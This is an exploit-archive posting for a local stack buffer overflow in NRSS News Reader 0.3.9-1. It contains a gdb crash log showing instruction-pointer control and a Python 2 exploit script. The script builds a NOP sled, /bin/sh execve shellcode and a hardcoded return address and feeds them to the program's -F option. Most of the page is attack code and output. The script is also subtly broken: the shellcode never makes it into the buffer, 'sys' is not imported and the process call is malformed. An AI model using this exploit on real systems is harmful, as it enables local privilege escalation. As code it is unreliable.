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NRSS News Reader 0.3.9-1 Stack Buffer Overflow

NRSS News Reader 0.3.9-1 Stack Buffer Overflow
Posted May 14, 2016
Authored by Juan Sacco

NRSS News Reader version 0.3.9-1 suffers from a buffer overflow vulnerability which allows local attackers to obtain privileged access when exploited.

tags | exploit, overflow, local
MD5 | 17a87d5c6cc7da4395c671f07398233c

NRSS News Reader 0.3.9-1 Stack Buffer Overflow

Change Mirror Download
# Exploit developed using Exploit Pack v5.4
# Exploit Author: Juan Sacco - http://www.exploitpack.com -
jsacco@exploitpack.com
# Program affected: NRSS RSS Reader
# Version: 0.3.9-1
#
# Tested and developed under: Kali Linux 2.0 x86 - https://www.kali.org
# Program description: NRSS is a console based RSS reader allowing
# uses to read and manage RSS feeds
# Kali Linux 2.0 package: pool/main/n/nrss/nrss_0.3.9-1_i386.deb
# MD5sum: 27d997c89340ebb6f4a1d9e1eb28ea39
# Website: http://www.codezen.org/nrss/

#
# gdb$ run -F $(python -c 'print "A"*256+"DCBA"')
# Starting program: /usr/bin/nrss -F $(python -c 'print "A"*256+"DCBA"')
#
# Program received signal SIGSEGV, Segmentation fault.
# --------------------------------------------------------------------------[regs]
# EAX: 0x00000000 EBX: 0x41414141 ECX: 0x00000000 EDX: 0x0809040C
o d I t S z a p c
# ESI: 0x41414141 EDI: 0x41414141 EBP: 0x41414141 ESP: 0xBFFFED60
EIP: 0x41424344
# CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007BError
while running hook_stop:
# Cannot access memory at address 0x41424344
# 0x41424344 in ?? ()
'''

import os, subprocess

def run():
try:
print "# NRSS News Reader - Stack Buffer Overflow by Juan Sacco"
print "# This Exploit has been developed using Exploit Pack"
# NOPSLED + SHELLCODE + EIP

buffersize = 256
nopsled = "\x90"*200
shellcode =
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
eip = "\xd0\xec\xff\xbf"
buffer = nopsled * (buffersize-len(shellcode)) + eip
subprocess.call(["nrss -F",' ', buffer])

except OSError as e:
if e.errno == os.errno.ENOENT:
print "Sorry, NRSS Reader - Not found!"
else:
print "Error executing exploit"
raise

def howtousage():
print "Snap! Something went wrong"
sys.exit(-1)

if __name__ == '__main__':
try:
print "Exploit NRSS Reader v0.3.9-1 Local Overflow Exploit"
print "Author: Juan Sacco - Exploit Pack"
except IndexError:
howtousage()
run()

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